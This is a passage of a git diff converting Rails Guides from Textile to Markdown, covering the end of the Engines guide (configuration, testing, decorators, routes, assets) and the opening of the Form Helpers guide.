-Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+:
-
-<erb>
-<p>
- <b>Author:</b>
- <%= @post.author %>
-</p>
-</erb>
-
-By outputting +@post.author+ using the +<%=+ tag the +to_s+ method will be called on the object. By default, this will look quite ugly:
-
-<plain>
-#<User:0x00000100ccb3b0>
-</plain>
-
-This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application:
-
-<ruby>
-def to_s
- name
-end
-</ruby>
-
-Now instead of the ugly Ruby object output the author's name will be displayed.
-
-h5. Using a controller provided by the application
-
-Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from <tt>ApplicationController</tt>. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped +ApplicationController+. This namespace prevents code collisions, but often engine controllers should access methods in the main application's +ApplicationController+. An easy way to provide this access is to change the engine's scoped +ApplicationController+ to inherit from the main application's +ApplicationController+. For our Blorgh engine this would be done by changing +app/controllers/blorgh/application_controller.rb+ to look like:
-
-<ruby>
-class Blorgh::ApplicationController < ApplicationController
-end
-</ruby>
-
-By default, the engine's controllers inherit from <tt>Blorgh::ApplicationController</tt>. So, after making this change they will have access to the main applications +ApplicationController+ as though they were part of the main application.
-
-This change does require that the engine is run from a Rails application that has an +ApplicationController+.
-
-h4. Configuring an engine
-
-This section covers firstly how you can make the +user_class+ setting of the Blorgh engine configurable, followed by general configuration tips for the engine.
-
-h5. Setting configuration settings in the application
-
-The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application.
-
-To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line:
-
-<ruby>
-mattr_accessor :user_class
-</ruby>
-
-This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+.
-
-The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this:
-
-<ruby>
-belongs_to :author, :class_name => Blorgh.user_class
-</ruby>
-
-The +set_author+ method also located in this class should also use this class:
-
-<ruby>
-self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name)
-</ruby>
-
-To save having to call +constantize+ on the +user_class+ result all the time, you could instead just override the +user_class+ getter method inside the +Blorgh+ module in the +lib/blorgh.rb+ file to always call +constantize+ on the saved value before returning the result:
-
-<ruby>
-def self.user_class
- @@user_class.constantize
-end
-</ruby>
-
-This would then turn the above code for +self.author=+ into this:
-
-<ruby>
-self.author = Blorgh.user_class.find_or_create_by_name(author_name)
-</ruby>
-
-Resulting in something a little shorter, and more implicit in its behaviour. The +user_class+ method should always return a +Class+ object.
-
-To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing.
-
-Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it:
-
-<ruby>
-Blorgh.user_class = "User"
-</ruby>
-
-WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on.
-
-Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in +config/initializers/blorgh.rb+ to learn what the class is.
-
-There are now no strict dependencies on what the class is, only what the class's API must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced.
-
-h5. General engine configuration
-
-Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
-
-If you wish to use an initializer -- code that should run before the engine is loaded -- the place for it is the +config/initializers+ folder. This directory's functionality is explained in the "Initializers section":http://guides.rubyonrails.org/configuring.html#initializers of the Configuring guide, and works precisely the same way as the +config/initializers+ directory inside an application. Same goes for if you want to use a standard initializer.
-
-For locales, simply place the locale files in the +config/locales+ directory, just like you would in an application.
-
-h3. Testing an engine
-
-When an engine is generated there is a smaller dummy application created inside it at +test/dummy+. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.
-
-The +test+ directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.
-
-h4. Functional tests
-
-A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application -- the +test/dummy+ application -- rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical +GET+ to a controller in a controller's functional test like this:
-
-<ruby>
-get :index
-</ruby>
-
-It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it *how*. To do this, you must pass the +:use_route+ option (as a parameter) on these requests also:
-
-<ruby>
-get :index, :use_route => :blorgh
-</ruby>
-
-This tells the application that you still want to perform a +GET+ request to the +index+ action of this controller, just that you want to use the engine's route to get there, rather than the application.
-
-h3. Improving engine functionality
-
-This section explains how to add and/or override engine MVC functionality in the main Rails application.
-
-h4. Overriding Models and Controllers
-
-Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main applicaiton. This is usually implemented by using the decorator pattern.
-
-For simple class modifications use Class#class_eval, and for complex class modifications, consider using ActiveSupport::Concern.
-
-h5. Implementing Decorator Pattern Using Class#class_eval
-
-**Adding** Post#time_since_created,
-
-<ruby>
-# MyApp/app/decorators/models/blorgh/post_decorator.rb
-
-Blorgh::Post.class_eval do
- def time_since_created
- Time.current - created_at
- end
-end
-</ruby>
-
-<ruby>
-# Blorgh/app/models/post.rb
-
-class Post < ActiveRecord::Base
- :has_many :comments
-end
-</ruby>
-
-
-**Overriding** Post#summary
-
-<ruby>
-# MyApp/app/decorators/models/blorgh/post_decorator.rb
-
-Blorgh::Post.class_eval do
- def summary
- "#{title} - #{truncate(text)}"
- end
-end
-</ruby>
-
-<ruby>
-# Blorgh/app/models/post.rb
-
-class Post < ActiveRecord::Base
- :has_many :comments
- def summary
- "#{title}"
- end
-end
-</ruby>
-
-
-h5. Implementing Decorator Pattern Using ActiveSupport::Concern
-
-Using Class#class_eval is great for simple adjustments, but for more complex class modifications, you might want to consider using ActiveSupport::Concern. ["**ActiveSupport::Concern**":http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html] helps manage load order of interlinked dependencies at run time allowing you to significantly modularize your code.
-
-**Adding** Post#time_since_created<br/>
-**Overriding** Post#summary
-
-<ruby>
-# MyApp/app/models/blorgh/post.rb
-
-class Blorgh::Post < ActiveRecord::Base
- include Blorgh::Concerns::Models::Post
-
- def time_since_created
- Time.current - created_at
- end
-
- def summary
- "#{title} - #{truncate(text)}"
- end
-end
-</ruby>
-
-<ruby>
-# Blorgh/app/models/post.rb
-
-class Post < ActiveRecord::Base
- include Blorgh::Concerns::Models::Post
-end
-</ruby>
-
-<ruby>
-# Blorgh/lib/concerns/models/post
-
-module Blorgh::Concerns::Models::Post
- extend ActiveSupport::Concern
-
- # 'included do' causes the included code to be evaluated in the
- # conext where it is included (post.rb), rather than be
- # executed in the module's context (blorgh/concerns/models/post).
- included do
- attr_accessor :author_name
- belongs_to :author, :class_name => "User"
-
- before_save :set_author
-
- private
-
- def set_author
- self.author = User.find_or_create_by_name(author_name)
- end
- end
-
- def summary
- "#{title}"
- end
-
- module ClassMethods
- def some_class_method
- 'some class method string'
- end
- end
-end
-</ruby>
-
-h4. Overriding views
-
-When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory.
-
-In the +blorgh+ engine, there is a currently a file at +app/views/blorgh/posts/index.html.erb+. When the engine is asked to render the view for +Blorgh::PostsController+'s +index+ action, it will first see if it can find it at +app/views/blorgh/posts/index.html.erb+ within the application and then if it cannot it will look inside the engine.
-
-By overriding this view in the application, by simply creating a new file at +app/views/blorgh/posts/index.html.erb+, you can completely change what this view would normally output.
-
-Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it:
-
-<erb>
-<h1>Posts</h1>
-<%= link_to "New Post", new_post_path %>
-<% @posts.each do |post| %>
- <h2><%= post.title %></h2>
- <small>By <%= post.author %></small>
- <%= simple_format(post.text) %>
- <hr>
-<% end %>
-</erb>
-
-h4. Routes
-
-Routes inside an engine are, by default, isolated from the application. This is done by the +isolate_namespace+ call inside the +Engine+ class. This essentially means that the application and its engines can have identically named routes, and that they will not clash.
-
-Routes inside an engine are drawn on the +Engine+ class within +config/routes.rb+, like this:
-
-<ruby>
-Blorgh::Engine.routes.draw do
- resources :posts
-end
-</ruby>
-
-By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as +posts_path+ may end up going to undesired locations if both the application and the engine both have such a helper defined.
-
-For instance, the following example would go to the application's +posts_path+ if that template was rendered from the application, or the engine's +posts_path+ if it was rendered from the engine:
-
-<erb>
-<%= link_to "Blog posts", posts_path %>
-</erb>
-
-To make this route always use the engine's +posts_path+ routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.
-
-<erb>
-<%= link_to "Blog posts", blorgh.posts_path %>
-</erb>
-
-If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper:
-
-<erb>
-<%= link_to "Home", main_app.root_path %>
-</erb>
-
-If you were to use this inside an engine, it would *always* go to the application's root. If you were to leave off the +main_app+ "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.
-
-If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the +main_app+ prefix from within the engine.
-
-h4. Assets
-
-Assets within an engine work in an identical way to a full application. Because the engine class inherits from +Rails::Engine+, the application will know to look up in the engine's +app/assets+ and +lib/assets+ directories for potential assets.
-
-Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called +style.css+, it should be placed at +app/assets/stylesheets/[engine name]/style.css+, rather than +app/assets/stylesheets/style.css+. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored.
-
-Imagine that you did have an asset located at +app/assets/stylesheets/blorgh/style.css+ To include this asset inside an application, just use +stylesheet_link_tag+ and reference the asset as if it were inside the engine:
-
-<erb>
-<%= stylesheet_link_tag "blorgh/style.css" %>
-</erb>
-
-You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files:
-
-<plain>
-/*
- *= require blorgh/style
-*/
-</plain>
-
-INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's +.gemspec+.
-
-h4. Separate Assets & Precompiling
-
-There are some situations where your engine's assets not required by the host application. For example, say that you've created
-an admin functionality that only exists for your engine. In this case, the host application doesn't need to require +admin.css+
-or +admin.js+. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include +"blorg/admin.css"+ in it's stylesheets. In this situation, you should explicitly define these assets for precompilation.
-This tells sprockets to add you engine assets when +rake assets:precompile+ is ran.
-
-You can define assets for precompilation in +engine.rb+
-
-<ruby>
-initializer "blorgh.assets.precompile" do |app|
- app.config.assets.precompile += %w(admin.css admin.js)
-end
-</ruby>
-
-For more information, read the "Asset Pipeline guide":http://guides.rubyonrails.org/asset_pipeline.html
-
-h4. Other gem dependencies
-
-Gem dependencies inside an engine should be specified inside the +.gemspec+ file
-that's at the root of the engine. The reason for this is because the engine may
-be installed as a gem. If dependencies were to be specified inside the +Gemfile+,
-these would not be recognised by a traditional gem install and so they would not
-be installed, causing the engine to malfunction.
-
-To specify a dependency that should be installed with the engine during a
-traditional +gem install+, specify it inside the +Gem::Specification+ block
-inside the +.gemspec+ file in the engine:
-
-<ruby>
-s.add_dependency "moo"
-</ruby>
-
-To specify a dependency that should only be installed as a development
-dependency of the application, specify it like this:
-
-<ruby>
-s.add_development_dependency "moo"
-</ruby>
-
-Both kinds of dependencies will be installed when +bundle install+ is run inside
-the application. The development dependencies for the gem will only be used when
-the tests for the engine are running.
-
-Note that if you want to immediately require dependencies when the engine is
-required, you should require them before engine's initialization. For example:
-
-<ruby>
-require 'other_engine/engine'
-require 'yet_another_engine/engine'
-
-module MyEngine
- class Engine < ::Rails::Engine
- end
-end
-</ruby> \ No newline at end of file
diff --git a/guides/source/form_helpers.textile b/guides/source/form_helpers.md
index 58338ce54b..ec1f1d4df1 100644
--- a/guides/source/form_helpers.textile
+++ b/guides/source/form_helpers.md
@@ -1,4 +1,5 @@
-h2. Rails Form helpers
+Rails Form helpers
+==================
Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
@@ -12,24 +13,25 @@ In this guide you will:
* Learn some cases of building forms to external resources
* Find out how to build complex forms
-endprologue.
+--------------------------------------------------------------------------------
-NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference.
+NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference.
-h3. Dealing with Basic Forms
+Dealing with Basic Forms
+------------------------
-The most basic form helper is +form_tag+.
+The most basic form helper is `form_tag`.
-<erb>
+```erb
<%= form_tag do %>
Form contents
<% end %>
-</erb>
+```
-When called without arguments like this, it creates a +&lt;form&gt;+ tag which, when submitted, will POST to the current page. For instance, assuming the current page is +/home/index+, the generated HTML will look like this (some line breaks added for readability):
+When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
-<html>
+```html
<form accept-charset="UTF-8" action="/home/index" method="post">
<div style="margin:0;padding:0">
<input name="utf8" type="hidden" value="&#x2713;" />
@@ -37,122 +39,122 @@ When called without arguments like this, it creates a +&lt;form&gt;+ tag which,
</div>
Form contents
</form>
-</html>
+```
-Now, you'll notice that the HTML contains something extra: a +div+ element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide":./security.html#cross-site-request-forgery-csrf.
+Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](./security.html#cross-site-request-forgery-csrf).
-NOTE: Throughout this guide, the +div+ with the hidden input elements will be excluded from code samples for brevity.
+NOTE: Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity.
-h4. A Generic Search Form
+### A Generic Search Form
One of the most basic forms you see on the web is a search form. This form contains:
-# a form element with "GET" method,
-# a label for the input,
-# a text input element, and
-# a submit element.
+* a form element with "GET" method,
+* a label for the input,
+* a text input element, and
+* a submit element.
-To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. Like this:
+To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this:
-<erb>
+```erb
<%= form_tag("/search", :method => "get") do %>
<%= label_tag(:q, "Search for:") %>
<%= text_field_tag(:q) %>
<%= submit_tag("Search") %>
<% end %>
-</erb>
+```
This will generate the following HTML:
-<html>
+```html
<form accept-charset="UTF-8" action="/search" method="get">
<label for="q">Search for:</label>
<input id="q" name="q" type="text" />
<input name="commit" type="submit" value="Search" />
</form>
-</html>
+```
TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
-Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML.
+Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
-h4. Multiple Hashes in Form Helper Calls
+### Multiple Hashes in Form Helper Calls
-The +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
+The `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
-As with the +link_to+ helper, the path argument doesn't have to be given a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to +form_tag+ are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
+As with the `link_to` helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to `form_tag` are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
-<ruby>
+```ruby
form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
-</ruby>
+```
-Here, +method+ and +class+ are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
+Here, `method` and `class` are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
-<ruby>
+```ruby
form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
-</ruby>
+```
-h4. Helpers for Generating Form Elements
+### Helpers for Generating Form Elements
-Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as +text_field_tag+ and +check_box_tag+), generate just a single +&lt;input&gt;+ element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the +params+ hash in the controller with the value entered by the user for that field. For example, if the form contains +<%= text_field_tag(:query) %>+, then you would be able to get the value of this field in the controller with +params[:query]+.
+Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user for that field. For example, if the form contains `<%= text_field_tag(:query) %>`, then you would be able to get the value of this field in the controller with `params[:query]`.
-When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in +params+. You can read more about them in "chapter 7 of this guide":#understanding-parameter-naming-conventions. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html.
+When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
-h5. Checkboxes
+#### Checkboxes
Checkboxes are form controls that give the user a set of options they can enable or disable:
-<erb>
+```erb
<%= check_box_tag(:pet_dog) %>
<%= label_tag(:pet_dog, "I own a dog") %>
<%= check_box_tag(:pet_cat) %>
<%= label_tag(:pet_cat, "I own a cat") %>
-</erb>
+```
This generates the following:
-<html>
+```html
<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
<label for="pet_dog">I own a dog</label>
<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
<label for="pet_cat">I own a cat</label>
-</html>
+```
-The first parameter to +check_box_tag+, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in +params+) when the checkbox is checked.
+The first parameter to `check_box_tag`, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in `params`) when the checkbox is checked.
-h5. Radio Buttons
+#### Radio Buttons
Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
-<erb>
+```erb
<%= radio_button_tag(:age, "child") %>
<%= label_tag(:age_child, "I am younger than 21") %>
<%= radio_button_tag(:age, "adult") %>
<%= label_tag(:age_adult, "I'm over 21") %>
-</erb>
+```
Output:
-<html>
+```html
<input id="age_child" name="age" type="radio" value="child" />
<label for="age_child">I am younger than 21</label>
<input id="age_adult" name="age" type="radio" value="adult" />
<label for="age_adult">I'm over 21</label>
-</html>
+```
-As with +check_box_tag+, the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and +params[:age]+ will contain either "child" or "adult".
+As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult".
NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region.
-h4. Other Helpers of Interest
+### Other Helpers of Interest
Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
-<erb>
+```erb
<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
<%= password_field_tag(:password) %>
<%= hidden_field_tag(:parent_id, "5") %>
@@ -167,11 +169,11 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel
<%= email_field(:user, :address) %>
<%= color_field(:user, :favorite_color) %>
<%= time_field(:task, :started_at) %>
-</erb>
+```
Output:
-<html>
+```html
<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
<input id="password" name="password" type="password" />
<input id="parent_id" name="parent_id" type="hidden" value="5" />
@@ -186,116 +188,117 @@ Output:
<input id="user_address" name="user[address]" type="email" />
<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
<input id="task_started_at" name="task[started_at]" type="time" />
-</html>
+```
Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
-IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely "no shortage of solutions for this":https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills, although a couple of popular tools at the moment are "Modernizr":http://www.modernizr.com/ and "yepnope":http://yepnopejs.com/, which provide a simple way to add functionality based on the presence of detected HTML5 features.
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features.
-TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the "Security Guide":security.html#logging.
+TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
-h3. Dealing with Model Objects
+Dealing with Model Objects
+--------------------------
-h4. Model Object Helpers
+### Model Object Helpers
-A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+.
+A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`.
-For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing:
+For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:
-<erb>
+```erb
<%= text_field(:person, :name) %>
-</erb>
+```
will produce output similar to
-<erb>
+```erb
<input id="person_name" name="person[name]" type="text" value="Henry"/>
-</erb>
+```
-Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy.
+Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update_attributes`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy.
-WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"person"+, not an actual instance of your model object.
+WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
-Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view guide.
+Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations and Callbacks](./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view) guide.
-h4. Binding a Form to an Object
+### Binding a Form to an Object
-While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does.
+While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
-Assume we have a controller for dealing with articles +app/controllers/articles_controller.rb+:
+Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`:
-<ruby>
+```ruby
def new
@article = Article.new
end
-</ruby>
+```
-The corresponding view +app/views/articles/new.html.erb+ using +form_for+ looks like this:
+The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this:
-<erb>
+```erb
<%= form_for @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
<%= f.text_field :title %>
<%= f.text_area :body, :size => "60x12" %>
<%= f.submit "Create" %>
<% end %>
-</erb>
+```
There are a few things to note here:
-# +@article+ is the actual object being edited.
-# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash. Also you can provide a +:namespace+ option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
-# The +form_for+ method yields a *form builder* object (the +f+ variable).
-# Methods to create form controls are called *on* the form builder object +f+
+* `@article` is the actual object being edited.
+* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+* The `form_for` method yields a **form builder** object (the `f` variable).
+* Methods to create form controls are called **on** the form builder object `f`
The resulting HTML is:
-<html>
+```html
<form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form">
<input id="article_title" name="article[title]" type="text" />
<textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
<input name="commit" type="submit" value="Create" />
</form>
-</html>
+```
-The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[<em>attribute_name</em>]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section.
+The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the parameter_names section.
The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
-You can create a similar binding without actually creating +&lt;form&gt;+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
+You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
-<erb>
+```erb
<%= form_for @person, :url => { :action => "create" } do |person_form| %>
<%= person_form.text_field :name %>
<%= fields_for @person.contact_detail do |contact_details_form| %>
<%= contact_details_form.text_field :phone_number %>
<% end %>
<% end %>
-</erb>
+```
which produces the following output:
-<html>
+```html
<form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post">
<input id="person_name" name="person[name]" type="text" />
<input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
</form>
-</html>
+```
-The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally).
+The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally).
-h4. Relying on Record Identification
+### Relying on Record Identification
